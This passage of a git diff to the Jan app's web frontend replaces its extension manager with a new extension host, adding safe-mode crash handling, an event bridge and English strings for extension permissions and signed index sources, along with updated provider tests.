name.@@ -1118,11 +1108,10 @@ export class ModelFactory {}}- // Get session info which includes port and api_key- const sessionInfo = await invoke<SessionInfo | null>(- 'plugin:mlx|find_mlx_session_by_model',- { modelId }- )+ // Get session info which includes port and api_key. No mlx service means+ // the engine is not running here (it only activates on macOS).+ const sessionInfo =+ (await getMlxExtension()?.findSession(modelId)) ?? nullif (!sessionInfo) {throw new Error(`No running MLX session found for model: ${modelId}`)@@ -1402,7 +1391,8 @@ export class ModelFactory {private static createOpenAICompatibleModel(modelId: string,provider: ProviderObject,- parameters: Record<string, unknown> = {}+ parameters: Record<string, unknown> = {},+ baseFetch: typeof globalThis.fetch = getRuntimeFetch()): LanguageModel {const headers: Record<string, string> = {}@@ -1421,13 +1411,13 @@ export class ModelFactory {let fetchImpl: typeof globalThis.fetch =keyChain.length > 1? createApiKeyRotatingFetch(- getRuntimeFetch(),+ baseFetch,keyChain,parameters,'authorization-bearer',true)- : createCustomFetch(getRuntimeFetch(), parameters, false, undefined, true)+ : createCustomFetch(baseFetch, parameters, false, undefined, true)// Groq's API rejects assistant `reasoning` fields, so it always strips// regardless of the toggle; other providers honor the global setting.diff --git a/web-app/src/lib/modelValidationBridge.ts b/web-app/src/lib/modelValidationBridge.tsnew file mode 100644index 000000000..5eb866023--- /dev/null+++ b/web-app/src/lib/modelValidationBridge.ts@@ -0,0 +1,23 @@+import { DownloadEvent, events } from '@janhq/core'+import type { EventsService, UnlistenFn } from '@/services/events/types'++/** What the download manager sends when it starts checking a model's files. */+export interface ModelValidationStarted {+ modelId: string+ downloadType: string+}++/**+ * Relays the download manager's `onModelValidationStarted` (emitted by+ * `src-tauri/src/core/downloads/helpers.rs`) onto the core event bus, where+ * `useDownloadEvents` turns it into the "validating" toast. The Rust event name+ * and the core one are the same string by contract.+ */+export function bridgeModelValidationStarted(+ hostEvents: Pick<EventsService, 'listen'>+): Promise<UnlistenFn> {+ return hostEvents.listen<ModelValidationStarted>(+ DownloadEvent.onModelValidationStarted,+ (event) => events.emit(DownloadEvent.onModelValidationStarted, event.payload)+ )+}diff --git a/web-app/src/lib/service.ts b/web-app/src/lib/service.tsindex ecdfdf6fe..6c3b1b123 100644--- a/web-app/src/lib/service.ts+++ b/web-app/src/lib/service.ts@@ -1,11 +1,11 @@import { CoreRoutes, APIRoutes } from '@janhq/core'+import type { DownloadProgress, DownloadProgressHandler, Unsubscribe } from '@janhq/core'import { getServiceHub } from '@/hooks/useServiceHub'import { isPlatformTauri } from '@/lib/platform'import type { InvokeArgs } from '@/services/core/types'import { openExternalUrl } from '@/lib/externalLink'export const AppRoutes = [- 'installExtensions','getTools','callTool','cancelToolCall',@@ -36,6 +36,17 @@ export const Routes = [...CoreRoutes, ...APIRoutes, ...AppRoutes].map((r) => ({// Re-exported: extensions reach it as `window.core.api.openExternalUrl`.export { openExternalUrl }+// Events are not request/response, so this cannot be a mapped route: the host+// emits progress for a task on its own `download-<taskId>` channel.+export async function onDownloadProgress(+ taskId: string,+ handler: DownloadProgressHandler+): Promise<Unsubscribe> {+ return getServiceHub()+ .events()+ .listen<DownloadProgress>(`download-${taskId}`, (event) => handler(event.payload))+}+export const APIs = {...Object.values(Routes).reduce((acc, proxy) => {return {@@ -121,4 +132,5 @@ export const APIs = {}}, {}),openExternalUrl,+ onDownloadProgress,}diff --git a/web-app/src/lib/utils.ts b/web-app/src/lib/utils.tsindex 88deca3f9..ac12a0b40 100644--- a/web-app/src/lib/utils.ts+++ b/web-app/src/lib/utils.ts@@ -3,7 +3,7 @@ import { twMerge } from 'tailwind-merge'import type { Node, Position } from 'unist'import type { Code, Paragraph, Parent, Text } from 'mdast'import { visit } from 'unist-util-visit'-import { ExtensionManager } from './extension'+import { EngineManager } from '@janhq/core'import path from 'path'import type { VFile } from 'vfile'@@ -164,7 +164,16 @@ export function getProviderLogo(provider: string) {}}-export const getProviderTitle = (provider: string) => {+/**+ * The name the UI shows for a provider: its display name when it has one+ * (an extension's provider, whose id is namespaced), else a title derived+ * from its id.+ */+export const getProviderTitle = (+ provider: string | Pick<ProviderObject, 'provider' | 'display_name'>+): string => {+ if (typeof provider !== 'string')+ return provider.display_name || getProviderTitle(provider.provider)switch (provider) {case 'jan':return 'Jan'@@ -230,8 +239,8 @@ export function getReadableLanguageName(language: string): string {}export const isLocalProvider = (provider: string) => {- const extension = ExtensionManager.getInstance().getEngine(provider)- return extension && 'load' in extension+ const engine = EngineManager.instance().get(provider)+ return !!engine && 'load' in engine}export const toGigabytes = (diff --git a/web-app/src/lib/zodCsp.ts b/web-app/src/lib/zodCsp.tsnew file mode 100644index 000000000..584d94099--- /dev/null+++ b/web-app/src/lib/zodCsp.ts@@ -0,0 +1,7 @@+import { config } from 'zod'++// zod v4 compiles object schemas with `new Function` unless told not to. The+// window CSP has no 'unsafe-eval', so its probe would only throw and log a+// violation before falling back to the interpreter this selects up front.+// Imported first in main.tsx so it is set before any schema parses.+config({ jitless: true })diff --git a/web-app/src/locales/__tests__/localeKeys.test.ts b/web-app/src/locales/__tests__/localeKeys.test.tsindex 7a8a2b2a9..f7b98e882 100644--- a/web-app/src/locales/__tests__/localeKeys.test.ts+++ b/web-app/src/locales/__tests__/localeKeys.test.ts@@ -1,12 +1,20 @@import { describe, it, expect } from 'vitest'import { readFileSync, readdirSync, statSync } from 'node:fs'import { join, resolve } from 'node:path'+import { isPermissionString } from '@janhq/extension-api'const SRC = resolve(__dirname, '../..')const LOCALES_ROOT = resolve(__dirname, '..')/** Namespaces whose keys are asserted to exist. */-const GUARDED_NAMESPACES = ['setup', 'model-errors', 'common', 'chat', 'tools']+const GUARDED_NAMESPACES = [+ 'setup',+ 'model-errors',+ 'common',+ 'chat',+ 'tools',+ 'extensions',+]/*** Namespaces every shipped locale must translate in full. The runtime falls@@ -58,6 +66,30 @@ const DYNAMIC_KEYS: Record<string, string[]> = {'coworkEmpty.folder.second','coworkEmpty.folder.third',],+ // The settings page labels each host extension by its lifecycle state.+ extensions: [+ 'state.inactive',+ 'state.activating',+ 'state.active',+ 'state.failed',+ // Permission risk labels and dev-load error codes.+ 'risk.low',+ 'risk.medium',+ 'risk.high',+ 'devLoad.readFailed',+ 'devLoad.invalidJson',+ 'devLoad.invalidManifest',+ 'devLoad.invalidBundle',+ 'devLoad.alreadyLoaded',+ // Settings > Extensions tabs and source form errors.+ 'tabs.installed',+ 'tabs.catalog',+ 'sources.errors.invalidUrl',+ 'sources.errors.notHttps',+ 'sources.errors.credentials',+ 'sources.errors.required',+ 'sources.errors.invalidKey',+ ],'model-errors': ['engine.unknown','engine.MODEL_LOAD_FAILED',@@ -163,6 +195,8 @@ function referencedKeys(): Map<string, Set<string>> {for (const file of sourceFiles(SRC)) {const content = readFileSync(file, 'utf8')for (const match of content.matchAll(pattern)) {+ // Extension permissions share the `<ns>:<key>` shape ('chat:hooks').+ if (isPermissionString(`${match[1]}:${match[2]}`)) continuefound.get(match[1])!.add(match[2])}}diff --git a/web-app/src/locales/en/common.json b/web-app/src/locales/en/common.jsonindex 7dc977930..bff76e7bb 100644--- a/web-app/src/locales/en/common.json+++ b/web-app/src/locales/en/common.json@@ -248,7 +248,6 @@"loading": "Loading...","settingUpJan": "Booting up Jan…","registeringExtensions": "Registering extensions…",- "loadingExtensions": "Loading extensions… ({{done}}/{{total}})","error": "Error","success": "Success","warning": "Warning",diff --git a/web-app/src/locales/en/extensions.json b/web-app/src/locales/en/extensions.jsonnew file mode 100644index 000000000..b43bf7080--- /dev/null+++ b/web-app/src/locales/en/extensions.json@@ -0,0 +1,200 @@+{+ "commands": "Commands",+ "categorizedCommand": "{{category}}: {{title}}",+ "commandFailed": "{{command}} ({{extension}}) failed",+ "moreActions": "More actions",+ "extensionLabel": "Extension: {{extension}}",+ "statusItemTooltip": "Extension: {{extension}} - {{text}}",+ "settingSaveFailed": "Could not save {{setting}}",+ "activationFailed": "Failed to start: {{error}}",+ "crashed": {+ "reason": "Stopped: {{error}}",+ "disabled": "It crashed 3 times in 10 minutes and stays off until Jan restarts.",+ "safeMode": "Installed extensions kept Jan from starting, so safe mode is now on.",+ "safeModeFailed": "Installed extensions kept Jan from starting, and safe mode could not be turned on. They are not loaded this time."+ },+ "state": {+ "inactive": "Inactive",+ "activating": "Starting",+ "active": "Active",+ "failed": "Failed",+ "crashed": "Crashed"+ },+ "development": "Development",+ "unload": "Unload",+ "unloadFailed": "Could not unload {{extension}}: {{error}}",+ "risk": {+ "low": "Low risk",+ "medium": "Medium risk",+ "high": "High risk"+ },+ "devLoad": {+ "button": "Load unpacked",+ "title": "Load {{name}} from a folder?",+ "description": "This development extension runs until Jan restarts. It is granted everything it requests:",+ "proposals": "Proposed APIs: {{proposals}}",+ "confirm": "Load",+ "readFailed": "Could not read {{file}}: {{error}}",+ "invalidJson": "package.json is not valid JSON: {{error}}",+ "invalidManifest": "The manifest is invalid: {{errors}}",+ "invalidBundle": "{{file}} is not a valid extension bundle: {{error}}",+ "alreadyLoaded": "An extension with the id {{id}} is already loaded"+ },+ "permissions": {+ "uiNotify": {+ "title": "Show notifications",+ "description": "Show short messages in the app, labelled with the extension's name."+ },+ "network": {+ "title": "Connect to {{host}}",+ "description": "Send requests to this host and read the replies.",+ "localServers": "Includes servers on this computer on any port: localhost and 127.0.0.1 over http or https, other local addresses such as ::1 over https only. Jan's own local API server is always blocked.",+ "localPorts": "Covers every port of this host, over http or https, except Jan's own local API server, which is always blocked."+ },+ "providers": {+ "title": "Add model providers",+ "description": "Add model providers that appear in the model picker."+ },+ "tools": {+ "title": "Add tools for models",+ "description": "Add tools that models can call during a chat. Each call still asks for your approval."+ },+ "conversationsRead": {+ "title": "Read your conversations",+ "description": "Read your threads and the messages in them."+ },+ "conversationsWrite": {+ "title": "Change your conversations",+ "description": "Create threads and add messages to them."+ },+ "chatHooks": {+ "title": "Change messages before they are sent",+ "description": "Rewrite the text of your messages before they reach the model."+ }+ },+ "cancel": "Cancel",+ "noPermissions": "It requests no permissions.",+ "tabs": {+ "installed": "Installed",+ "catalog": "Catalog"+ },+ "sections": {+ "builtin": "Built-in",+ "installed": "Installed",+ "development": "Loaded for development"+ },+ "noneInstalled": "No extensions installed yet.",+ "enable": "Enable {{name}}",+ "details": {+ "open": "Details",+ "back": "Back to extensions",+ "version": "Version {{version}}",+ "rollback": "Roll back to {{version}}",+ "permissions": "Granted permissions",+ "revoke": "Revoke",+ "settings": "Settings",+ "uninstall": "Uninstall",+ "uninstallTitle": "Uninstall {{name}}?",+ "uninstallDescription": "Its files are removed from this computer. This cannot be undone.",+ "builtinFixed": "Built-in extensions are part of Jan and cannot be disabled or uninstalled.",+ "notFound": "This extension is not installed."+ },+ "origin": {+ "unverified": "Unverified",+ "unverifiedHint": "This file did not come from an index you added. Install it only if you trust whoever gave it to you.",+ "sha512": "SHA-512: {{hash}}",+ "trustAuthor": "I trust the author of this file",+ "fromSource": "From {{source}}",+ "integrityChecked": "Integrity checked",+ "integrityCheckedUnsigned": "Integrity checked (unsigned source)",+ "verifiedBy": "Verified by {{source}}",+ "unsignedSource": "Unsigned source",+ "unsignedSourceHint": "This index has no pinned signing key, so nothing proves who published this listing. Install it only if you trust the index.",+ "trustSource": "I trust the author and this index"+ },+ "install": {+ "fromFile": "Install from file...",+ "bundleFilter": "Extension bundle",+ "title": "Install {{name}}?",+ "description": "Version {{version}} by {{publisher}}. It will be granted these permissions:",+ "confirm": "Install",+ "done": "{{name}} {{version}} installed"+ },+ "update": {+ "title": "Update {{name}} to {{version}}?",+ "description": "You have version {{version}}. Permissions you already granted are kept.",+ "confirm": "Update",+ "added": "New permissions",+ "removed": "No longer needed",+ "nothingAdded": "This update asks for no new permissions."+ },+ "sourceChange": {+ "indexWasIndex": "This update comes from {{next}}, but {{name}} was installed from {{previous}}.",+ "indexWasFile": "This update comes from {{next}}, but {{name}} was installed from the file {{file}}.",+ "fileWasIndex": "This update is a file from disk, but {{name}} was installed from {{previous}}.",+ "unsigned": "{{name}} was verified by the signing key of {{previous}}, but this update is not signed."+ },+ "safeMode": {+ "title": "Safe mode",+ "description": "Start Jan without loading any installed extension. Built-in extensions still run.",+ "banner": "Safe mode is on. Installed extensions are not loaded.",+ "turnOff": "Turn off safe mode"+ },+ "sources": {+ "title": "Index sources",+ "description": "An index lists extensions you can install. Add only indexes you trust.",+ "none": "No sources yet. Add an index URL to browse its extensions.",+ "url": "Index URL",+ "name": "Name",+ "publicKey": "Public key (optional)",+ "add": "Add source",+ "remove": "Remove {{name}}",+ "removeKeyed": {+ "title": "Remove {{name}} and its signing key?",+ "description": "Its pinned key is forgotten with it. If you add this index again without the key, its listings are no longer signature-checked. Installed extensions stay installed. Pinned key:",+ "confirm": "Remove source"+ },+ "removedPin": {+ "warning": "This index had a pinned signing key when you removed it. Without a key its listings are unsigned. Add it again with its key, or press Add source again to continue without one.",+ "key": "Previously pinned key:"+ },+ "notice": {+ "dropped": "Some saved sources failed a check and were removed: {{sources}}. The previous file was kept at {{path}}.",+ "unreadable": "The saved sources could not be read, so none are listed. The previous file was kept at {{path}}."+ },+ "keyPinned": "Signing key pinned",+ "unsignedHint": "No signing key pinned: installs from this index need your explicit trust.",+ "rotate": {+ "offer": "This index announces a new signing key.",+ "review": "Review new key",+ "title": "Change the signing key of {{name}}?",+ "description": "The index, signed with the key you pinned, names a new key it will be signed with next. After you accept, only indexes signed with the new key are trusted. Accept only if you expected this change.",+ "current": "Pinned key",+ "next": "New key",+ "confirm": "Pin the new key"+ },+ "errors": {+ "invalidUrl": "Enter a valid URL.",+ "notHttps": "Only https URLs are allowed.",+ "credentials": "The URL must not contain a user name or password.",+ "required": "Enter a name.",+ "invalidKey": "Enter a base64 ed25519 public key."+ }+ },+ "catalog": {+ "loading": "Loading the catalog...",+ "empty": "This index lists no extensions.",+ "by": "by {{publisher}}",+ "install": "Install",+ "update": "Update to {{version}}",+ "installed": "Installed",+ "provenance": "Provenance reported by source"+ },+ "errors": {+ "list": "Could not read the installed extensions: {{error}}",+ "stage": "Could not open the extension: {{error}}",+ "install": "Could not install {{name}}: {{error}}",+ "change": "The change failed: {{error}}",+ "catalog": "Could not load {{source}}: {{error}}"+ }+}diff --git a/web-app/src/locales/en/model-errors.json b/web-app/src/locales/en/model-errors.jsonindex b4ded7893..514015b02 100644--- a/web-app/src/locales/en/model-errors.json+++ b/web-app/src/locales/en/model-errors.json@@ -28,6 +28,7 @@"engineReportedDetail": "The engine reported: {{detail}}","startModelFailed": "Failed to start model: {{reason}}","createModelFailed": "Failed to create model: {{reason}}",+ "extensionProviderUnavailable": "{{provider}} comes from an extension that is not running, or that was loaded for development. Only a running installed extension can reach its provider.","noRunningSession": "No running session found for model: {{model}}","serverPortOccupied": "Port has been occupied","serverPortOccupiedDescription": "Port {{port}} is already in use. Please try a different port.",diff --git a/web-app/src/locales/en/providers.json b/web-app/src/locales/en/providers.jsonindex 65c36e150..62fd8c04e 100644--- a/web-app/src/locales/en/providers.json+++ b/web-app/src/locales/en/providers.json@@ -1,4 +1,7 @@{+ "extensionManaged": "Provided by the {{extension}} extension, which manages its address, API key and models.",+ "openExtensionSettings": "Open extension settings",+ "noModelFoundExtensionDesc": "The extension has not listed any models yet. Check its settings, such as its API key.","limitedSupport": "This provider may not be fully supported. Capabilities (tools, vision, audio) are not auto-detected - add models manually and configure capabilities per model.","mlxExperimental": "MLX support is experimental. Embeddings are unavailable, the reasoning toggle is not yet wired through, and some newer model architectures may fail to load. Report issues on GitHub so we can prioritize them.","engineBundled": "The inference engine is built into Jan, so there is nothing to download or update separately. Quote this version when reporting a model that fails to load.",diff --git a/web-app/src/locales/ja/common.json b/web-app/src/locales/ja/common.jsonindex 50aaff293..55641322f 100644--- a/web-app/src/locales/ja/common.json+++ b/web-app/src/locales/ja/common.json@@ -153,7 +153,6 @@"loading": "読み込み中...","settingUpJan": "Janを起動しています…","registeringExtensions": "拡張機能を登録しています…",- "loadingExtensions": "拡張機能を読み込んでいます… ({{done}}/{{total}})","error": "エラー","success": "成功","warning": "警告",diff --git a/web-app/src/main.tsx b/web-app/src/main.tsxindex 962e00c19..ad0bbdf0e 100644--- a/web-app/src/main.tsx+++ b/web-app/src/main.tsx@@ -1,3 +1,4 @@+import '@/lib/zodCsp'import { StrictMode } from 'react'import ReactDOM from 'react-dom/client'import { RouterProvider, createRouter } from '@tanstack/react-router'diff --git a/web-app/src/providers/DataProvider.tsx b/web-app/src/providers/DataProvider.tsxindex 9ee2745cc..05b26a685 100644--- a/web-app/src/providers/DataProvider.tsx+++ b/web-app/src/providers/DataProvider.tsx@@ -1,10 +1,7 @@import { useModelProvider } from '@/hooks/useModelProvider'import { useAppUpdater } from '@/hooks/useAppUpdater'-import {- useGeneralSetting,- HUGGINGFACE_TOKEN_SECRET_KEY,-} from '@/hooks/useGeneralSetting'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'import { useServiceHub } from '@/hooks/useServiceHub'import { useEffect, useRef } from 'react'import { useMCPServers, DEFAULT_MCP_SETTINGS } from '@/hooks/useMCPServers'@@ -12,15 +9,15 @@ import { useAssistant } from '@/hooks/useAssistant'import { useNavigate } from '@tanstack/react-router'import { route } from '@/constants/routes'import { useThreads } from '@/hooks/useThreads'-import { ExtensionManager } from '@/lib/extension'import { useLocalApiServer } from '@/hooks/useLocalApiServer'import { useAppState } from '@/hooks/useAppState'-import { AppEvent, events } from '@janhq/core'+import { AppEvent, events, HUGGINGFACE_TOKEN_SECRET_KEY } from '@janhq/core'import { SystemEvent } from '@/types/events'import { isDev } from '@/lib/utils'import { sweepThreadWorkspaces } from '@/lib/agentTools'import { invoke } from '@tauri-apps/api/core'import { providerHasRemoteApiKeys, providerRemoteApiKeyChain } from '@/lib/provider-api-keys'+import { useExtensionProviders } from '@/hooks/useExtensionProviders'type ProviderCustomHeader = {header: string@@ -39,6 +36,9 @@ type RegisterProviderRequest = {async function registerRemoteProvider(provider: ModelProvider) {// Skip llamacpp - those are local modelsif (provider.provider === 'llamacpp') return+ // An extension's provider is reachable from the chat only: registering it+ // would serve it, with the extension's key, to every local API client.+ if (provider.source) returnconst chain = providerRemoteApiKeyChain(provider)if (chain.length === 0) {@@ -75,7 +75,8 @@ async function seedProviderKeysFromKeyring(): Promise<ModelProvider[]> {return Promise.all(providers.map(async (provider) => {- if (provider.provider === 'llamacpp') return provider+ // Extension providers keep their key in the extension's settings.+ if (provider.provider === 'llamacpp' || provider.source) return providertry {const keys = await invoke<string[]>('get_provider_keys', {provider: provider.provider,@@ -127,6 +128,7 @@ const syncRemoteProviders = () => {if (provider.active &&provider.provider !== 'llamacpp' &&+ !provider.source &&providerHasRemoteApiKeys(provider)) {registerRemoteProvider(provider)@@ -187,11 +189,12 @@ export function DataProvider() {const { setAssistants } = useAssistant()const { setThreads } = useThreads()const setThreadsLoading = useThreads((s) => s.setThreadsLoading)- // The thread fetch re-runs on extension re-registration; the sandbox sweep- // should not.+ // The thread fetch re-runs whenever its effect does (StrictMode remount,+ // a new service hub); the sandbox sweep should run once per session.const sweptWorkspaces = useRef(false)const navigate = useNavigate()const serviceHub = useServiceHub()+ useExtensionProviders()// Local API Server hooksconst {@@ -227,7 +230,7 @@ export function DataProvider() {})})// Re-seed the Hugging Face token from the keyring (no longer persisted to- // settings storage) into the store + download extension for this session.+ // settings storage) into the store for this session.invoke<string | null>('get_secret', {key: HUGGINGFACE_TOKEN_SECRET_KEY,})@@ -285,9 +288,9 @@ export function DataProvider() {}, [serviceHub])useEffect(() => {- // fetchThreads throws while the Conversational extension is still loading- // (startup race, e.g. reload mid-stream). Retry with backoff instead of- // letting a single failed fetch leave the thread list permanently empty.+ // fetchThreads throws while the backend is not ready yet (startup race,+ // e.g. reload mid-stream). Retry with backoff instead of letting a single+ // failed fetch leave the thread list permanently empty.let cancelled = falselet attempt = 0let timer: ReturnType<typeof setTimeout> | undefined@@ -328,22 +331,10 @@ export function DataProvider() {timer = setTimeout(load, Math.min(1000, 150 * attempt))})}- // A late (or re-)registration re-arms the fetch even after the bounded- // retries above are exhausted, e.g. when extension setup itself failed- // and only recovers later.- const unsubscribe = ExtensionManager.getInstance().onRegistrationChange(- () => {- if (cancelled) return- attempt = 0- clearTimeout(timer)- load()- }- )load()return () => {cancelled = trueclearTimeout(timer)- unsubscribe()}}, [serviceHub, setThreads, setThreadsLoading])diff --git a/web-app/src/providers/ExtensionProvider.tsx b/web-app/src/providers/ExtensionProvider.tsxindex c66e7b55d..06911577c 100644--- a/web-app/src/providers/ExtensionProvider.tsx+++ b/web-app/src/providers/ExtensionProvider.tsx@@ -1,11 +1,18 @@-import { ExtensionManager } from '@/lib/extension'+import { getHostBuiltins } from '@/lib/extensions/builtins'+import { getExtensionHost } from '@/lib/extensions/host'+import { applySafeMode } from '@/lib/extensions/installed-loader'+import { loadWithCrashLoopGuard } from '@/lib/extensions/watchdog'+import { bridgeModelValidationStarted } from '@/lib/modelValidationBridge'+import { getServiceHub } from '@/hooks/useServiceHub'+import { isPlatformAndroid, isPlatformIOS } from '@/lib/platform'import { APIs } from '@/lib/service'import { EventEmitter } from '@/services/events/EventEmitter'-import { EngineManager, ModelManager } from '@janhq/core'+import { EngineManager, ModelManager, appSettings } from '@janhq/core'+import { toast } from 'sonner'import { getCurrentWebviewWindow } from '@tauri-apps/api/webviewWindow'import { emit } from '@tauri-apps/api/event'import { PropsWithChildren, useCallback, useEffect, useState } from 'react'-import { useTranslation } from '@/i18n/react-i18next-compat'+import { i18n, useTranslation } from '@/i18n/react-i18next-compat'// Secondary windows (logs, system monitor) reuse the same React bundle but// their Tauri capabilities do not grant hardware:*/llamacpp:*/etc. Loading@@ -32,7 +39,6 @@ export function ExtensionProvider({ children }: PropsWithChildren) {}window.core.events = new EventEmitter()- window.core.extensionManager = new ExtensionManager()window.core.engineManager = new EngineManager()window.core.modelManager = new ModelManager()@@ -44,17 +50,44 @@ export function ExtensionProvider({ children }: PropsWithChildren) {// Register extensions - same pattern for both platforms.// Always finish setup even if registration/load throws so a single// faulty extension can't gate the entire UI.+ setStatus({ key: 'registeringExtensions' })+ // Built-ins first, then the installed extensions.try {- setStatus({ key: 'registeringExtensions' })- await ExtensionManager.getInstance().registerActive()- await ExtensionManager.getInstance().load((done, total) =>- setStatus({ key: 'loadingExtensions', vars: { done, total } })+ await getExtensionHost().activateBuiltins(+ getHostBuiltins({ mobile: isPlatformIOS() || isPlatformAndroid() }))} catch (e) {- console.error('Extension setup failed:', e)- } finally {- setFinishedSetup(true)+ console.error('Extension host setup failed:', e)}+ // Installed extensions run in workers after the built-ins, where there+ // is an install pipeline (the desktop app). Not awaited: each may take+ // up to its activation timeout, and llamacpp/mlx must not wait on that.+ // The guard turns safe mode on when earlier starts died before running+ // a grace period after loading, so one that takes the window down+ // cannot do it every start.+ const installedFailed = (e: unknown) =>+ console.error('Loading installed extensions failed:', e)+ try {+ const service = getServiceHub().extensions()+ if (service.isSupported())+ void loadWithCrashLoopGuard({+ settings: appSettings,+ setSafeMode: (on) => applySafeMode(getExtensionHost(), service, on),+ onSafeMode: () => toast.warning(i18n.t('extensions:crashed.safeMode')),+ onSafeModeFailed: (e) => {+ console.error('Turning on safe mode failed:', e)+ toast.error(i18n.t('extensions:crashed.safeModeFailed'))+ },+ // pagehide runs on a quit, a reload or an updater restart, not+ // when the renderer crashes or the process is killed.+ onCleanShutdown: (reset) =>+ window.addEventListener('pagehide', reset, { once: true }),+ load: () => getExtensionHost().loadInstalled(),+ }).catch(installedFailed)+ } catch (e) {+ installedFailed(e)+ }+ setFinishedSetup(true)}, [])useEffect(() => {@@ -67,11 +100,27 @@ export function ExtensionProvider({ children }: PropsWithChildren) {setupExtensions().finally(() => clearTimeout(watchdog))+ // Main window only, like the built-in that used to relay it: every window+ // receives the backend event, and the toast belongs to the window that+ // started the download. Per effect run so a StrictMode remount does not+ // leave a second relay behind.+ // A failed listen is logged here and settles to undefined, so the+ // cleanup below has nothing to stop and no rejection goes unhandled.+ const validationBridge = isMainWindow()+ ? bridgeModelValidationStarted(getServiceHub().events()).catch(+ (error: unknown) => {+ console.error('Relaying model validation failed:', error)+ return undefined+ }+ )+ : undefined+return () => {clearTimeout(watchdog)if (isMainWindow()) {- ExtensionManager.getInstance().unload()+ getExtensionHost().deactivateAll()}+ void validationBridge?.then((stop) => stop?.())}}, [setupExtensions])diff --git a/web-app/src/providers/__tests__/DataProvider.test.tsx b/web-app/src/providers/__tests__/DataProvider.test.tsxindex 597e413b3..72948a46b 100644--- a/web-app/src/providers/__tests__/DataProvider.test.tsx+++ b/web-app/src/providers/__tests__/DataProvider.test.tsx@@ -18,7 +18,6 @@ const h = vi.hoisted(() => {setThreads: vi.fn(),setThreadsLoading: vi.fn(),threadsInStore: {} as Record<string, unknown>,- registrationListeners: new Set<() => void>(),setLastServerModels: vi.fn(),setServerPort: vi.fn(),setServerStatus: vi.fn(),@@ -61,6 +60,9 @@ vi.mock('@/hooks/useModelProvider', () => {return { useModelProvider }})+vi.mock('@/hooks/useExtensionProviders', () => ({+ useExtensionProviders: vi.fn(),+}))vi.mock('@/hooks/useAppUpdater', () => ({useAppUpdater: () => ({ checkForUpdate: h.checkForUpdate }),}))@@ -74,17 +76,6 @@ vi.mock('@/hooks/useAssistant', () => ({useAssistant: () => ({ setAssistants: h.setAssistants }),}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- onRegistrationChange: (cb: () => void) => {- h.registrationListeners.add(cb)- return () => h.registrationListeners.delete(cb)- },- }),- },-}))-vi.mock('@/hooks/useThreads', () => {const state = () => ({setThreads: h.setThreads,@@ -132,6 +123,7 @@ vi.mock('@tauri-apps/api/core', () => ({}))vi.mock('@janhq/core', () => ({+ HUGGINGFACE_TOKEN_SECRET_KEY: 'huggingface',AppEvent: { onModelImported: 'onModelImported' },events: {on: (...a: unknown[]) => h.eventsOn(...a),@@ -221,7 +213,6 @@ describe('DataProvider', () => {resetHubState()h.providers = []h.threadsInStore = {}- h.registrationListeners.clear()h.isDev.mockReturnValue(false)h.providerHasRemoteApiKeys.mockReturnValue(true)h.providerRemoteApiKeyChain.mockReturnValue(['key-1'])@@ -270,9 +261,9 @@ describe('DataProvider', () => {})})- it('retries fetchThreads when it throws (extension not ready) and never wipes the list on failure', async () => {+ it('retries fetchThreads when it throws (backend not ready) and never wipes the list on failure', async () => {hubState.fetchThreads- .mockRejectedValueOnce(new Error('Conversational extension not available yet'))+ .mockRejectedValueOnce(new Error('backend not ready')).mockResolvedValueOnce([{ id: 't1' }])render(<DataProvider />)@@ -309,12 +300,12 @@ describe('DataProvider', () => {})})- it('refetches threads when an extension registers after retries are exhausted', async () => {+ it('gives up after the bounded retries and stops the loading state', async () => {vi.useFakeTimers()try {hubState.fetchThreads.mockRejectedValue(new Error('not ready'))- const { unmount } = render(<DataProvider />)+ render(<DataProvider />)// 1 initial attempt + 20 bounded retries (backoff capped at 1s).await act(async () => {@@ -322,17 +313,12 @@ describe('DataProvider', () => {})expect(hubState.fetchThreads).toHaveBeenCalledTimes(21)expect(h.setThreads).not.toHaveBeenCalled()+ expect(h.setThreadsLoading).toHaveBeenCalledWith(false)- // A late extension registration re-arms the fetch.- hubState.fetchThreads.mockResolvedValue([{ id: 't1' }])await act(async () => {- h.registrationListeners.forEach((cb) => cb())+ await vi.advanceTimersByTimeAsync(30000)})- expect(hubState.fetchThreads).toHaveBeenCalledTimes(22)- expect(h.setThreads).toHaveBeenCalledWith([{ id: 't1' }])-- unmount()- expect(h.registrationListeners.size).toBe(0)+ expect(hubState.fetchThreads).toHaveBeenCalledTimes(21)} finally {vi.useRealTimers()}diff --git a/web-app/src/providers/__tests__/ExtensionProvider.test.tsx b/web-app/src/providers/__tests__/ExtensionProvider.test.tsxindex 68766b2e2..4312e5220 100644--- a/web-app/src/providers/__tests__/ExtensionProvider.test.tsx+++ b/web-app/src/providers/__tests__/ExtensionProvider.test.tsx@@ -4,42 +4,72 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import '@testing-library/jest-dom'const h = vi.hoisted(() => ({- registerActive: vi.fn().mockResolvedValue(undefined),- load: vi.fn().mockResolvedValue(undefined),- unload: vi.fn(),emit: vi.fn().mockResolvedValue(undefined),windowLabel: 'main',+ calls: [] as string[],+ host: {+ activateBuiltins: vi.fn().mockResolvedValue(undefined),+ loadInstalled: vi.fn().mockResolvedValue(undefined),+ deactivateAll: vi.fn().mockResolvedValue(undefined),+ list: vi.fn(() => [] as { id: string; source: string }[]),+ reload: vi.fn().mockResolvedValue(undefined),+ },+ installSupported: true,+ settings: new Map<string, string>(),+ setSafeMode: vi.fn().mockResolvedValue(undefined),+ toastWarning: vi.fn(),+ toastError: vi.fn(),+ bridge: vi.fn(),+ stopBridge: vi.fn(),+ listen: vi.fn(),}))vi.mock('@/i18n/react-i18next-compat', () => ({+ i18n: { t: (k: string) => k },useTranslation: () => ({- t: (k: string, vars?: Record<string, unknown>) => {+ t: (k: string) => {if (k === 'settingUpJan') return 'Booting up Jan…'if (k === 'registeringExtensions') return 'Registering extensions…'- if (k === 'loadingExtensions')- return `Loading extensions… (${vars?.done ?? 0}/${vars?.total ?? 0})`return k},}),}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: class {- static getInstance() {- return { registerActive: h.registerActive, load: h.load, unload: h.unload }- }- },+vi.mock('@/lib/extensions/host', () => ({ getExtensionHost: () => h.host }))+vi.mock('@/hooks/useServiceHub', () => ({+ getServiceHub: () => ({+ extensions: () => ({+ isSupported: () => h.installSupported,+ setSafeMode: h.setSafeMode,+ list: async () => ({ extensions: [{ id: 'acme.one' }] }),+ }),+ events: () => ({ listen: h.listen }),+ }),+}))+vi.mock('@/lib/modelValidationBridge', () => ({+ bridgeModelValidationStarted: 